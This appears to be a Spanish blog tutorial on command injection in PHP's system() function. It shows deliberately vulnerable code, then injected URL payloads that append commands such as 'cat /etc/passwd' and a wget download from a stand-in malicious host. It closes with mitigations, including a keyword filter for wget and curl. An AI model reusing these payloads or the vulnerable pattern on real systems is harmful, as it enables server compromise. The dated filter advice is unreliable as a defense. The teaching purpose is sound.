* Toda la información contenida en este artículo es con fines académicos.
En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como
system,
exec, etc.
Estas funciones tiene la facultad de ejecutar desde php
comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una
inyección de código y ejecutar comandos
arbitratiamente en el servidor.
Un ejemplo práctico:
Este programa lo que hace es tomar una variable por
médoto get (también aplica para post con los cambios necesarios) y crea un directorio
<?
if (trim($_GET['directorio'])!=NULL) {
system ("mkdir {$_GET['directorio']}");
echo "directorio creado {$_GET['directorio']}";
}
else
echo "directorio vacio";
?>
NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.
En la url del navegador se escribirá algo como sigue:
http://misitio.net/dirs/script.php?directorio=directorionuevo
("
directorionuevo" es el directorio recién creado)
En la línea del código:
system ("mkdir {$_GET['directorio']}");
se ejecuta un comando de sistema operativo con la función
system para crear el directorio.
Si sustituitmos la ejecución del script desde el navegador en la función
system tendremos:
mkdir directorionuevo
Nosotros sabemos que en
linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:
mkdir directorionuevo; pwd
Bien, ahora nosotros podemos hacer lo mismo desde la
url del navegador:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd
con esto nos creará el directorio "
directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el
script (comando pwd).
/var/www/html/dirs/
Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.
Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777
Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque
brute force:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd
Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt
El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.
Solución
Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.
Aquí presentamos algunas soluciones:
En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo
No usar las funciones shell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo
Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"
Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's
Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software:
<?
foreach ($_GET as $variable => $valor)
if (eregi("wget |curl |GET ", $valor)) {
exit;
}
?>
Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.
Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.
Esperamos sus comentarios.
Cuando generamos este reporte html, lo que se hace en realidad es enviar cabeceras al servidor de apache para indicarle, en este caso, que se trata de un documento html (<html> ... bla bla bla).
Entradas
